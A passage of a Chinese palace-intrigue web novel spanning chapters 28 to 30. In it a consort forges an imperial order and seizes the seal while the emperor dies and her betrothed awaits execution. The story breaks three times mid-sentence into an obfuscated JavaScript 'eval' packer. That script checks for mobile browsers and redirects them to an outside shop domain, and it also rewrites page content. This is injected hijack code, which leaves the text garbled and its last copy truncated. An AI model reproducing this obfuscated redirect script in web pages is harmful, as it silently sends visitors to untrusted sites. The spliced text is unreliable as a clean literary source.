宜婵略一迟疑,听话离开。出内间时,她忍不住回头看了一眼,只看到乔燕眷恋地抚上妆奁。 看到这一幕,宜婵几乎要落泪,不忍再看,阖上了门。 妆奁最下一层装着什么,宜婵自然知道。 从前乔家三位郎君与冯矩相交莫逆,书房里总有他的手抄。乔燕和冯矩定亲之后,时常从兄长口中听到对他的称赞,心里既好奇,又有些仰慕,终于有一回大着胆子偷溜进乔湛的书房,脸红心跳地偷藏了一张。 后来才知那是书院的课业,冯矩为此受了师长一顿责罚。 乔燕心里愧疚,把那纸文章还给乔湛。乔湛将她狠狠训了一顿,好歹被乔翀拦住。两位兄长转头代她向冯矩赔罪。 月余后,冯矩来府中访友,托乔翀送来一柄折扇。 乔燕打开扇子,不想从里头掉出一张裁得细窄的纸条。 乔翀脸霎时黑了一半,眼疾手快,一把捞住,一目扫过,没觉出什么失礼之处。加上一旁的乔燕央求,便不情不愿地交给她。 薄薄一张泥金纸,每一个字乔燕都记得—— 五娘淑览:草率提笔,祈恕唐突。盖因桃枝横牖,色恒清昼。前情之事,尔兄倶陈,仆未曾置之于心,五娘但勿介怀。 子规谨书。 ——也许是因为看到窗前横生的桃枝,和清辉的月光,所以忍不住草率地写下这封信,请你原谅我的唐突。之前的事,你的兄长都已告知,我没有放在心上,你也不要介怀。 翻过来,背面还画着一支桃花,并一行小字: 惟斯一萼,不共春瘦。 乔燕心口砰砰直跳。原来克己复礼如他,也有这般内敛又孟浪的情话。她心里骂他登徒子,又忍不住看了一遍又一遍。 乔四郎看着妹妹涨红的脸,才后知后觉地反应过来,一张脸黑如锅底,撸起袖子跑去书房,一副不死不休的架势。 乔燕心里焦急,提着裙子跟上去,到书房门口时,恰听得冯矩无奈的声音:“……怎的被你瞧到了。” 他又不怕死地加了句:“你孤家寡人,是以不懂。” 后来乔燕就想,若没有最后那句话,或许四哥的那一拳还不会揍下去。 文景三十六年的少年会因为看到桃花、月亮,而忍不住写下一封唐突佳人的信。 文景四十一年的青年镣铐加身,这一天大雪纷飞,既无桃花,想来夜里也无皎月,唯有深宫院墙后,抱着折扇、捂住嘴无声嚎哭的宫嫔。 28. 规劝 扫云殿位于主敬殿西侧,站在廊柱下面朝东,可以见到主敬殿的月台。 月台上又跪了一个皇子。 赵王,当今三皇子李启,这个以知人善用扬名的皇子,这辈子恐怕都不曾有过这样落魄的时候。 傍晚时分,乔燕到扫云殿的时候他就已经跪在了那里,僵成一根人棍,大雪落了满头满身。 说来乔燕也难以置信,在她眼里,赵王素来明哲保身,城府颇深——可他跪在这里居然是因为替董玉莲求情。 到了约莫午时四刻,一直紧闭的主敬殿大门终于有了动静,锦衣卫指挥使稽川亲自押着司礼监掌印太监董玉莲出来。 董玉莲身上的蟒袍已被扒下,仅着一层棉衣。他出得大殿,忽然顿住步子。 稽川收手,耐心地等待。 董玉莲慢慢转过身子,仰起头,凝视着巍巍大殿,许久,许久,双膝跪地,五拜三叩,最后一叩毕,满眼含泪,高呼:“圣躬万福,奴婢不忠,在此给您谢罪了——” 语罢,没有起身,膝行着转过方向,和跪在月台的赵王四目相对。赵王嘴唇冻得青紫的颤了颤,似乎想说什么。董玉莲没有给他这个机会,率先磕了个头。 “殿下多保重,大雪天寒,圣上已经发落了老奴,未曾过问您,您何必在此自伤。” 说完,董玉莲起身,走了两步,扶住赵王。 赵王眼底浮上一层绝望。他的生母柳氏家世不显,他出生后,文景帝痴迷于乔贵妃,再加上二皇子早早被册封为太子,是以鲜少亲自过问自己这个不上不下的儿子。 反而是董玉莲,虽然手握实权,身居高位,却常亲自照拂他。 一直到他长大,争得君父的宠爱,身边聚起一群志同道合的大臣,董玉莲才在明面上和他断了往来。 不知是不是赵王眼里的伤痛令董玉莲有所触动,他趁着二人这极短的接触,在赵王耳边意味深长地说道:“我早回不了头,落得此等下场,也算因果报应。但是,殿下啊,您还有路可走——宫外天地广阔,不比此处自在。” 语罢,松开赵王,一步一脚印地朝着午门的方向走去。 乔燕在扫云殿的檐下将这一幕尽收眼底。 在董玉莲之后,门内又依次押出两人,身上的官服和官帽俱已扒下,仅着一件中衣。 乔燕情不自禁地往前踏出半步。 她习惯性地吩咐宜婵:“能不能想办法送两件棉衣。” “送给谁?赵王殿下还是……” 声音落在耳里,乔燕才反应过来,她这回出来没有带人,回话的是扫云殿的掌事宫女程寿。 说出去的话已经不能收回,乔燕不想惹人猜忌,便道:“罢了。方才看出去的两位大人有些可怜,再细想却是不妥。” 程寿道:“娘娘真真儿心善。” 乔燕注视着他们离开,又见各大臣鱼贯而出,走了干净,方抬腿朝主敬殿走去。程寿犹豫一瞬,见她身边无人,便跟了两步,直到乔燕道了一句不必,方乖觉停住。 赵王跪得太久,肩上发上都已积了厚厚的一层雪。乔燕从后面看过去的时候,恰好见他身子一晃,两手撑在地上,维持着一个趴跪的姿势,干燥的雪花从肩头抖落,他许久才缓过来,重新跪直了。 主敬殿前的奴婢全都低着头,不敢投去一丝眼光。然而这也保全不了多少皇子的尊严。或许日后他还有站起来的时候,到时候这一幕可以在史书上被轻描淡写地带过,又或许,他将止步于此。 成王败寇,各有结局。 乔燕越过他走入廊下,入殿前吩咐了离得近的卢柴一句话。卢柴点头应是,打发一旁的小太监进了耳室,出来后带了一把伞,小跑到赵王旁跪下,含胸讨好道:“奴婢给殿下打伞。” 赵王面无表情,一动不动,仿若未闻。 殿内,自有太监殷勤地替乔燕解开斗篷,换下手炉里的炭。乔燕自若地由他们服侍,目光一扫,殿内已不见金春山,想是听了她的话,自寻出路去了。 “圣上如何?” 一个眼生的年轻太监答道:“圣上劳碌一天,才歇下,”又问,“娘娘可要在这里用夕食?奴婢去尚食局吩咐一声。” 乔燕点了点头,看向西侧,只见唐直抒守着内间的小门,便多问了一句:“圣上跟前没有留人吗?” 太监苦道:“董公公……不,董贼定罪后,圣上昏了一段时候,待廉院判施针转醒,就把奴婢们全都赶了出来。连唐公公都挨了一下,”他小心看了眼唐直抒的方向,指了指自己的左侧太阳穴,轻声道,“一整个紫砂茶壶砸过来,唐公公不敢躲,出了一头的血,才止住。” 乔燕一惊,方才没仔细看,这下再看,果然在三山帽下看到了一圈纱布。 另有一个太监捧着换好香炭的手炉走过来,乔燕接到手里,走到唐直抒跟前。唐直抒脸色呈现失血过多的蜡黄,行礼道:“惠嫔娘娘。” “你怎么样?” “奴婢无大碍。” “无碍便好。” 说着,乔燕使了个眼色,转身向门口走去。唐直抒会意跟了上去。旁的太监极会看人脸色,站得远远的。 乔燕在门边站定,低声又问了一遍:“圣人怎么样了。” 不同于方才的小太监,唐直抒没有作声,而是脸色难看的摇了摇头。 乔燕皱起眉,又松开。 “我要个准话。” “恐怕……熬不过今日了。” 乔燕一愣。 虽然早有准备,但耳闻的这一刻仍然感到了命运无常。 思及外面跪着的赵王,乔燕忽然想到,这对他们来讲,未必是坏事。 中城兵马司扼着皇城的命脉,而指挥使猷贺是赵王的人,可以说,赵王若是不进宫,进可攻退可守,几乎已经立于不败之地。 但是赵王进宫了。 并非因为他愚蠢,而是因为他没有想到,前一日除夕宴上文景帝还露了一面,和大臣们一起喝了一杯酒,第二日竟就到了临终的时候。 这盘棋,结束的太仓促,导致执子之人都没准备好。 可真是命运无常啊。 乔燕忍不住微微笑了一下,然后收了笑,问道:“我问你,方才殿内出了什么事,董玉莲是个什么结局?何舂和冯矩二人又如何定罪的?” “圣上亲审束家案,最后查明,一切皆为诬告,主使者乃是董玉莲,认证物证俱全。尤其是冯矩,他在堂中口口声声喊董玉莲老师,更是钉死了董玉莲的罪过。三司堂官俱在,圣上不得不断董玉莲一个斩首示众,董玉莲没有自辩,只说了一句话……他说:‘奴婢半残之身伺候圣上多年,只最后向主子求一个体面。’声泪俱下,圣上答应了。” 董玉莲在外招权纳贿,诛求无厌,百姓恨他。但他伺候皇帝五十余年,做皇帝的吠吠之犬、丧良之刀,错不了一个“忠”字。只是最后欲壑难填,竟在圣上殡天之前担忧余日安稳,掺和夺嫡之事,才落到这样的下场。 乔燕道:“圣上心软倒也正常。他最后求得什么体面?” “自缢于董府,由子孙收尸。” 乔燕点了点头,示意继续。 唐直抒道:“何、冯两位大人判了死刑,明日午时西市斩首。” 乔燕缄默不言,唐直抒等了一会儿,知道她不会再说话了,说道:“秦王现今歇在东暖阁,着医官看过,一切尚好……” 顿了一顿,唐直抒面露为难之色:“只是中间醒了一回,不肯吃药。奴婢们束手无策,只能用炉子温着药,等殿下醒来再喝。” 乔燕明白他的意思,却没有接话,而是看向不远处的月台,问道:“听说,赵王当堂为董玉莲求情了?” “是,为此还挨了圣上一顿骂,骂他是拎不清的东西。” “既然董玉莲已走,为何他还长跪不起。” “您有所不知,赵王跪在那里,乃圣上罚跪。” “原来是圣上罚跪,难怪董玉莲都走了,他还长跪不起。”顿了一顿,乔燕忽然莫名说道:“这个时候了,他倒是孝顺,圣上让他跪,就老老实实地跪到现在。” 唐直抒心里一跳,不知她这意味不明的话是何意。 “他早该出宫的……”乔燕颇为感慨,又道:“我有一事,附耳过来。” 她神色凝重,唐直抒不由也提起了心脏。 “唐公公,你派人去午门,看到指挥使猷贺,就传皇上口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103891|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谕,宣他除兵觐见。” 唐直抒眼皮一跳:“皇,皇上口谕?” 那厢唐直抒吓得半死,这边始作俑者却镇定得惊人。 “猷贺乃赵王的人,秦王也早知道这件事,许有应对。但不论他们一开始是什么打算,现在圣上突然倒下,一切事发突然,端看哪一边能在这浑水中窥得先机。秦王他现在昏迷不醒,不能主事,若不听我的,就来不及了。” 许是受她感染,唐直抒也镇定了下来,一咬牙,应道:“奴婢这就亲自去一趟。” 乔燕这才道:“把秦王的药端来,我去看看。” “是。” 唐直抒吩咐下去,不一会儿,一碗温度适宜的药就到了乔燕手里。 乔燕走了两步,又折回身,示意唐直抒就前。 “猷贺恐怕不会乖乖进宫,倒是赵王,人还在宫里,既然没走,那就别想走了。你命人盯着赵王,不能让他出宫,若拦不住,便立即来寻我。” 假传圣旨都应下了,也不在乎这一件事,唐直抒道:“是。” 一踏入暖阁,滚滚热浪就扑面而来,混着挥之不去的药味和熏香的味道,令人闻之欲呕。乔燕皱着眉,吩咐道:“将窗户开一条缝。” 内间伺候的宫女看了眼床榻,迟疑:“可是……” “打开。” “……是。” 乔燕走到床边,秦王面色泛着不正常的潮红,双目紧闭,眼皮下的眼珠不时颤动,似乎陷入了什么噩梦之中。 “你们出去。” 宫人们不敢多言,鱼贯而出。乔燕先把药碗放在桌上,看到墙角摆着盥洗架,于是拿了块毛巾,以冷水浸湿,为秦王擦脸降温。 秦王眉头不安地蹙起,一把握住她手腕,口中含糊道:“出去。” 乔燕抽出手,见他似乎醒了,便不客气地喊道:“殿下。” 秦王吃力地睁开眼,看清床前之人,有一瞬讶异,随后重新恢复了冷淡,哑着嗓子:“出去。” “听下面的人说殿下一直昏迷着,吃不下药,求到我这里,”乔燕放下湿巾,端过炉子上温着的药盅,“殿下既然醒了,那就自己喝了吧。” 秦王闭上眼,不置一词。 乔燕不以为忤:“殿下动不了,我服侍殿下喝。” 说完,自顾自地舀了一勺药,递到秦王嘴边。 哐当! 秦王恼羞成怒,抬手一挥,药碗砸了个粉碎,药液四溅,湿了乔燕的衣摆。 乔燕眼皮一垂,看着那一块濡湿的布料,淡淡问:“秦王的力气,只能拿来朝妇孺发火吗?” 秦王被她的讥诮刺到,胸脯急促地起伏不定。 “冯阁老满门被诛,至今身背污名。束阁老以身设局,才拼死换掉董玉莲一人。还有何舂、冯矩……” “别提他!” 听到这个名字,秦王宛如虫蛰,暴怒道:“他是赵王的人!他杀了元辅!” “他不是!”乔燕大声压下他的话, “你知道他不是,你也知道,束阁老求仁得仁!束阁老不死,所设之局便只能前功尽弃,只有他死,一国首辅之性命,才能咬得住董玉莲。你以为束阁老为何要死!?为谁而死!秦王殿下,你心里都清楚!” “冯矩怎么了!冯矩和何舂一样,他们,他们……” 乔燕忽然崩溃了,所有准备好的话语在这个名字前都溃不成军。她捂住脸,好久,才道:“他们明日午时就要斩首了,至死只能背上阉党的骂名,可他们一生磊落,天地为鉴,你我俱知。” 她放下手,神情冷酷:“这药你必须喝,这扇门你必须出!不要让他们那么多人以命相填,最后只能护你这个懦夫!来人。” 守在门外的太监是唐直抒的人,闻言躬身进门,双手平端举过头顶,拿着一盅新的药。 “我去守着圣上。你过来,伺候殿下喝药,殿下愿意喝。还有方才发生的事,你跟殿下事无巨细地说一说。” “是。”那太监恭敬道。 乔燕离开,太监顿在原地,少倾,说道:“殿下,秦王妃刚刚小产,还在府里等着您呢。” 榻上一片死寂,过了片刻,秦王道:“端过来。” 29. 矫诏 文景帝的寝室内唯有乔燕一人。她坐在窗前,看着透过窗纸的日光慢慢变得黯淡。 一如她的心情。 宫人想入内点灯,唐直抒打开门,看着她的背影,踌躇片刻,挥退宫人,重新阖上了门。 黑暗吞没了狭小的空间,乔燕却在这片黑暗里获得了一丝安宁与慰藉,一直压抑着的绝望与伤痛,终于在此刻肆意沸滚,又被黑夜温柔地包容。 身后传来文景帝低低的咳嗽声,乔燕骤然惊醒,胡乱抹去脸上横生的泪水。试探地道:“圣上?” 没有回应,文景帝还在昏睡。 垂垂老矣的皇帝,孤身一人,在昏睡中。 而房间里只有她。 一个淬毒般的想法忽然出现在乔燕的脑海里—— 其实并不是没有办法救冯矩,只要,只要文景帝崩于明日行刑之前,新帝登基,一切大有可为…… 这个想法令乔燕心如擂鼓,手脚发麻。 她想尽快摒弃这个念头,可却如附骨之疽……现在室内只有她和文景帝两人……谁都知道,文景帝本就垂死…… 颤抖着手在膝前交握,死死地握住,指节泛出青白。 文景帝在戌时再次醒来。灯烛未燃,室内幽暗,传来女子低低的诵佛声。 “咳咳……是……是皇后吗。” 诵佛声顿止,一阵窸窣声后,室内灯烛亮起,年轻白净的手熟练地撩开床帘,露出憔悴的芙蓉面。 “圣上要见皇后娘娘的话,妾去命人传话。” “是你啊……” 文景帝在乔燕的搀扶下坐起来,靠在软枕上,咳了两声,“不见她了,有你陪着我就好。从不知你还信佛,跟皇后学的?” “妾不信佛,但方才坐在那儿等您醒过来,不知怎的,忍不住就把诸天神佛都求了一遍。人力有穷时,尚需神佛成全。” “求了什么。” “自然是求您快些好起来。” “咳咳咳……你啊……”文景帝精神似乎好了一些,竟有力气说了句笑,“临时抱佛脚,还尽为难菩萨……” 乔燕抿着唇,置气地转过头去。文景帝对她这招仍然受用,拍了拍她的手,目光柔软。 “如今也只有你还这样跟我耍女儿家脾气……我如果走了,谁还能继续宠着你……我有心放你出宫,但从无先例,时间又不多了,我有心无力啊。幸好小七和你投缘,你养他长大,也算是个依靠……” 乔燕似乎被这番话说得怔住,直直地看着文景帝,嘴唇哆嗦。 她咬住嘴唇,霍然起身倒水,心里的愧疚几欲让她垮掉。 “……您别瞎说,”她颤着手递水到文景帝唇边,轻声道,“圣上待妾恩重如山,妾愿意折了自己的福报,来换您长命百岁。” “别罢,你要折了福报,我九泉之下见到你姑姑,她怪我怎么办。” 文景帝又说了句顽笑,话音一转,问:“哪里来的水?” 御前从不摆食水,这是老祖宗就定下的规矩。但董玉莲落马,他手下的班子正人心惶惶,乔燕弄一壶水并非难事。 “妾方才要了自己喝的。” 乔燕意识到不妥,正要拿开杯子,文景帝却已经将水喝了下去。 乔燕微怔,没说什么,把空杯放了回去。 文景帝喝了一杯水,感觉嗓子舒服了许多。 “朕要见林太傅。另宣所有三品以上大臣入宫,殿前候旨。” 这是要留遗诏了。 乔燕眼圈一红,就要出去吩咐,又听文景帝问:“那两个孽子呢。” “秦王殿下在冬暖阁休养,赵王殿下还跪着……” “哼,朕还以为他有多大本事!没想到为个阉人,什么礼仪王法都忘了,”文景帝说完气话,又道:“让他走,朕不想见他。” 在场二人都知道,赵王跪到现在,未必全然为了董玉莲,亦是为了他自己。 而此话一出,便是不再追究之意。赵王终究是皇帝的亲儿子。 说来也巧,文景帝话音方落,唐直抒就在外头禀报:“启禀圣上,赵王殿下昏过去了。” 乔燕闻言提议:“外面雪大路滑,不如安置赵王殿下在宫内歇下,请医官照看。” 文景帝安静片刻,忽而认命似的叹了口气,说了句莫名的话:“他聪明一世,这一回为何这么老实,跪到现在呢……” 闻言,乔燕一颗心直直往下沉去。 不想文景帝阖目,倦声道:“就依你的意思办吧。” 峰回路转,乔燕愈发看不透文景帝在想什么,不过那都不重要了。她连忙要出去安排,又听有个小太监的声音急急地道:“柳昭仪和赵王妃在外头闹将起来,非要抬赵王回府,可怎么办是好!” 乔燕心里一紧,下意识往外走了一步,想起什么,朝文景帝看去。 文景帝没有睁眼,却像看到了她的目光似的,没头没尾地说道:“去吧。” 说完,他精神有些不太好,慢慢往后靠上床头。 乔燕来到外间,经过下午廷议之处时蓦地发现,许是董玉莲不在,书案竟无人收拾,放玉玺的宝盒就堂而皇之的放在案头。 本朝共十七枚宝玺,放在桌上的正是其一,为“皇帝之宝”,用于天子诏、赦,恐怕是上次用完忘了收起来。乔燕盯着看了几息,呼吸愈发急促,最后鬼使神差地拿出了玉玺。 “娘娘。” 乔燕本就做贼心虚,这一声,骇得她心神一震,好险没有失手摔了宝玺。回过头,看到唐直抒也不知何时就站在了门口。 唐直抒垂着头,仿佛没有看到她方才的举动,声音又轻又疾:“娘娘,猷贺果然如您所说,拒不入宫。赵王被赵王妃和柳昭仪抢走了,奴婢的人正拦着。” 乔燕顿敛心神,收玺入袖,快步朝外头走去。 “圣上宣见林太傅,且要三品及以上大臣入宫候旨,你去传诏。” “林太傅并未出宫,就在后头的圣济殿,和医官们暂在一处,奴婢等会就去,”唐直抒小碎步跟在后侧,语速飞快,“赵王那头,奴婢的人说到底都是下人,根本拦不住。中城兵马司和巡捕营的人手就在午门外头晃悠,赵王但凡出了宫,这风向就难测了。” “我知道了。” 这时出了殿门,乔燕在廊柱下目光一扫,看到稽川,立马走了过去,不等稽川行礼便开口道:“圣上有谕,赵王不得出宫,烦请指挥使即刻拦截。若不从,以谋逆诛!” 最后那一句听得唐直抒十分骇然,心里掀起惊涛骇浪,唯恐待下去自己神色不对,暴露了乔燕,忙低头朝后头的圣济殿走去。 稽川亦是心里一跳,正待质疑,却见乔燕捧出玉玺,喝道:“事急从权,只有口谕,见玉玺如见朕躬,还不快去!” 稽川目光如刀,从玉玺刮到她脸上。 乔燕面不改色,颇具威严地与他对峙。片刻后,稽川似有了决断,跪地抱拳:“卑职领命。” 语毕,转身领着一众锦衣卫奔了出去。 乔燕绷在原地,好一会儿,似溺水之人终于喘上了一口气,胸膛剧烈地起复。 这一刻,唯觉天地俱寂,喘气声几乎要震破耳膜,她的手抖得不听使唤,试了两次才将玉玺重新收入袖子。 一转身,看到雪夜荧光,月台空旷,一殿的奴婢为求自保,竟纷纷躲避无踪。唯有程寿如幽灵一般不远处的廊柱下,低眉垂首,神情恭谨。 乔燕面无表情地看着她。 程寿跪地开口:“奴婢来请罪。傍晚时分见何舂和冯矩两位大人衣薄,心生同情,一时自作主张送去避寒棉衣,请娘娘责罚。” 良久的审视后,乔燕终于开口:“此时事多,且先记着,日后再罚。” 又道:“你去东暖阁,不论秦王是睡是醒,务必服侍他戴冠穿衣。要快!” “是。” 想来主敬殿再无可行之事,乔燕干脆揣着玉玺往赵王离宫的方向追了过去。 文华门外有一条由两侧高高宫墙拱卫而成的甬道,两班人僵持于此,往日尚显宽敞的宫巷顿时逼仄起来。 “真是好大的狗胆!殿下高烧至此,你们这群够奴婢却不放人,若病出个好歹,你们担得起吗!” 赵王一方仅一乘轿子,主仆共五人,被唐直抒遣来的太监团团围住,显出几分弱势。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108627|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳昭仪一人当先,将赵王夫妇护在身后。她形容跋扈,气势逼人,竟丝毫不落下风。 领头的太监乃唐直抒得力手下,名唤刘秋棠,首当其冲地顶着压力,已经有些微出汗。 “柳娘娘说的是,正是想着殿下的病躯,奴婢们才斗胆拦在这,全京直隶最好的医员都在宫里,何苦出宫耽误了殿下呢。柳娘娘若当真为殿下着想,更应折返啊。” 刘秋棠卑微地跪在地上,说出的话却寸步不让。 “你,你们这群狗太监,何敢如此放肆!不就是仗着我们此刻无人,才这,这样的……” 柳昭仪气得发抖,一时竟说不出话。 轿子里,赵王妃柔柔开口:“多谢公公美意。我们府上有殿下惯用的医官,殿下于药物上有哪些忌讳,府上医官更为清楚,索性回去也费不了什么工夫,你既怕耽误殿下,不若就此让开。” 太监们恍若未闻,丝毫不动。 轿帘掀开,赵王妃环视一周。太监们纷纷低头。她握着轿帘的手克制不住地战栗着,无声地吸了一口气,下了轿子。 刘秋棠垂眼盯着脚面,余光看她一步一步地走近,不知为何心里蓦然打起了鼓。他在宫里见得多,赵王妃这样平时看起来柔柔弱弱的人,发起狠来才更煞人。 别说太监们了,连柳昭仪都不知她要做什么,疑惑地看着。 赵王妃走到刘秋棠的跟前,忽然从袖子里抽出一把匕首,朝着面前的后脖颈就扎了下去。 所有人都被这一出吓得呆若木鸡,直面匕首的刘秋棠更是魂飞魄散,幸好他有准备,往旁边一让,那匕首就扎进了右肩上。 说来也怪,感受着刀刃割开皮肉,刮着骨头的那一瞬,赵王妃的手忽然不抖了。 她用双手握住把柄,用力一拔,堵住的血霎时溅得她满头满脸都是。 “不过是一群奴婢,谁给你们的胆挡主子的道!给我滚开!谁不滚,我杀了谁!” 刘秋棠趴在地上,肩头的血口不敢堵,血滚滚流着,就这么一会儿的工夫已经让他浑身冰冷,眼前发黑,快失了知觉。 赵王妃用力地踢了他一脚,他便无力地向一旁倒去。旁边的太监吓破了胆,着急忙慌地爬到路旁。赵王妃回头看一眼,抬轿子的奴婢这才惊醒,从缺口处疾行而去。 赵王妃身子一晃,被斜地里伸出的一双手托住。赵王妃反手握住那双冰冷的手,勉强笑了笑:“母妃……” 柳昭仪神情复杂,没有说话,婆媳二人相互搀扶着跟在轿子后头。 再不远处便是协和门,其后午门在望,届时有兵马相迎,再无后顾之忧。 “且慢!!” 甬道后头,忽闻马蹄疾疾。这宫里头可以佩刀纵马的,仅锦衣卫指挥使一人。 不消片刻,稽川便赶到近前,一手勒着缰绳,另一手举着火把,单枪匹马地横在路中央。 看到他这架势,赵王一行的人心都凉了。 柳昭仪色厉内荏,喝问:“指挥使这是何意?” “奉圣上之意,请诸位回头。” “圣旨何在。” 稽川有片刻迟滞,道:“圣上口谕。” 柳昭仪难得敏锐起来:“你亲口听圣上说的?” 稽川皱眉不语。 “那便是不曾。我看是有人假传圣旨,想要迫害吾儿!” 男人并未因她这句话而动摇,而是下了马,将火把插在鞍侧,右手按上了腰间的绣春刀。 口谕是真是假,其实都不重要,他选择追出来,已经是站了队,落子无悔。 这时,宫道里头,遥遥的,有女人高喊:“圣上信物在此!” 没等稽川动武,黢黑的宫道里,乔燕手捧玉玺,疾步而出。因为一路追赶,气息不匀,神情却十分镇静。 “见玉玺如见陛躬。” 结局已定了。 乔燕于人前站定,托举玉玺高于头顶,毕恭毕敬地面北而跪。她这一动,其余人不得不跟着跪倒,口称“万岁”。 乔燕先站起身,看遍所有人的脸。这些人,或仓皇,或平静,或疲倦,或仇恨,或绝望,千人千面。众生百态,尽粹于此。 30. 帝崩 回时途经文华殿。殿外已不复先前的冷清,三三两两地站着身穿朱红朝服的文武大臣。这些大臣早就候在午门外头,圣旨一下,立刻就来了。 乔燕远远看到,就要绕开。谁知脚步微顿的工夫,听身后有人诧道:“惠嫔娘娘?您在这做什么?” 这下是想走也走不了了,乔燕回首:“父亲。” “惠嫔娘娘。” 来的不止是乔父,还有乔湛和乔三郎乔均。 双方见完礼,乔父道:“娘娘为何站在这里。各宫娘娘都去了后面的圣济殿,娘娘不若也过去挤一挤,总比在这暖和。” 说完,注意到乔燕并非一人,乔父下意识转过眼睛,却见是锦衣卫指挥使稽川。 稽川只投来一眼就收回了视线,拱手道:“娘娘叙旧,卑职先走了。” 乔燕点了点头。稽川带领手下羁着一顶小轿往文华殿后头的主敬殿走了。轿边,柳昭仪和赵王妃互相搀扶,低着头,神情麻木。 “那是……” 乔父吃了一惊,惊疑不定的目光几次从轿子上转到乔燕脸上。 乔燕扫了一眼,也觉此情此景惹人怀疑。只是做都做了,并无悔改余地,这么一想,心头的慌乱便平静下来,轻声细语转开话题:“圣人此时召见群臣,恐怕已至大限之期,父亲和两位哥哥归队,我去后头看看。” 乔父忧心忡忡,到底说了句:“此等关头,还是莫掺和的好。” 乔燕微微一笑,没有应答。 这个时候,反倒是乔湛拉住乔父,上前一步,容色严肃,深深地看住她。 “我知道娘娘有自己的主意,但是有些事可为,亦有事不可为……若非要为,就要干脆利落,不留把柄。” 乔湛语出惊人,乔均吓了一跳:“二哥,你这话是……”说到一半,蓦地闭了嘴,后知后觉如他,总算将所见所闻联系起来。 乔燕眼神闪烁,认真地点了点头:“放心,已经尘埃落定。” 乔燕走向后面的主敬殿。 目送她离开,乔均拉了拉乔湛的袖子,做贼似的左右看了看,压低声音:“五娘这是……她,她何时掺和到这事里来了……” “我倒不觉得意外,五妹其实外柔内刚,极有主意。有些事已经发生,劝也劝不住,”乔湛虽然看起来稳重,实则心里也七上八下,没有人能在这种关系家族兴衰、国祚承嗣的大事之前保持冷静,“只盼是个好结局,不然……” 不然什么,他没有说出来,只是长长地吐出一口浊气。 殿门外头,乔燕扫了一圈,没看到唐直抒,倒是看到了候在阶旁的程寿,于是招来身前问:“秦王呢?” “奴婢伺候殿下起身后不久,圣人便召见了殿下,至今未出。” 乔燕颔首,转身看向羁候的赵王一党。 柳昭仪已经止住眼泪,此刻挺着背,端着仪容,脸色却灰败着,眼里也无神。 待对上乔燕的眼神,她的目光登时聚焦,凶狠地瞪了回来,眼里的恨意有如实质。 乔燕胸口有些闷,移开眼神。 “点两个信得过的太监,送柳昭仪回宫静养。再跟稽指挥使说一声,暂且护送赵王夫妇入东暖阁,着人看管起来,赵王那里让圣济殿的医官看一看。” 程寿恭敬应声,又问:“奴婢跟着您吗?” “你随我去扫云殿等消息。” 主敬殿外人头攒动,内间却称得上冷清。 秦王衣衫整齐,跪在木雕龙纹拔步床前。 床上的文景帝并不理会这个儿子,只闭目皱眉倚在床头,胸口仿若堵了一口浓痰,有规律地发着“嗬嗬”声。偌大的静室,唯有此声可闻。 屏风之隔,林元海搁笔收卷,来不及等墨晾干,便双手捧着来到床前跪下,恭谨地奉上。 “圣上。都依您的意思写好了,请您过目。” 文景帝吃力地睁开眼,抬起手腕,林元海会意,忙起身踩上床前踏板,躬身递上落满墨字的明绢。 文景帝抖着手将其展开,一个字一个字地往下看,看了许久,才迟缓地掩卷,紧紧握在掌中。 “唐,唐大伴。” 门边出现一道幽幽身影:“奴婢在。” “令尚宝司之人,捧朕的,咳咳,‘皇帝之宝’宝玺来。” 话落,唐直抒却罕见的没有动。文景帝皱眉,加重了语气:“站着作甚!” “是,是。” 唐直抒连声应下,脸色在光线不明的室内显得过分苍白。 唐直抒却行而出,到了外间,鼻尖上已出了几颗冷汗,抓住一个小太监便问:“惠嫔何在?” 小太监懵懵懂懂,唐直抒丢开这个,问旁边的:“看到惠嫔了吗?” 一连几人都惧怕地摇头,唐直抒急得跺脚,压着嗓子喊:“还不快去找!” 皇帝之宝可还在那位佛祖手里攥着呢! 阿弥陀佛,眼见快结束了,这个时候,可千万别节外生枝呀! 一帘之隔的内间,文景帝咳了两声,自床帘内递出还未盖玺的圣旨,语气淡淡:“秦王,你想看吧。” 秦王微怔,下意识转头看了眼林元海。林元海不动声色地点头,他心下稍定,膝行上前,双手接过,展开看了起来。 他这边在看圣旨,那一头,文景帝也不管他能不能听进去,自顾自地慢慢说道:“你想要的,朕给你了。老五愚钝,为了一个奴婢,棋差一着……你要知道,他虽输,是输给了妇人之仁,而不是你。朕要你日后善待他……咳咳咳……还有小七,他年纪小,朕本欲封亳州与他,远离朝堂,做个闲散亲王,诰书内阁尚在起草之中,朕恐怕见不到了,这件事就交给你了。你莫忘了……日后善待他们。” 他说了两遍“善待”。 秦王从黄绢中抬起头,他尚在病中,脸上还泛着病态的潮红,唇无血色,此刻听着文景帝絮絮叨叨的话,眼睛慢慢红了。 “儿臣立誓,只要两位弟弟日后不反,儿臣决不害其性命,保其一生荣华。” “咳咳……好……” 床帘内伸出一只枯手,掌心平摊,竟放着一颗民间才会有的饴糖,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 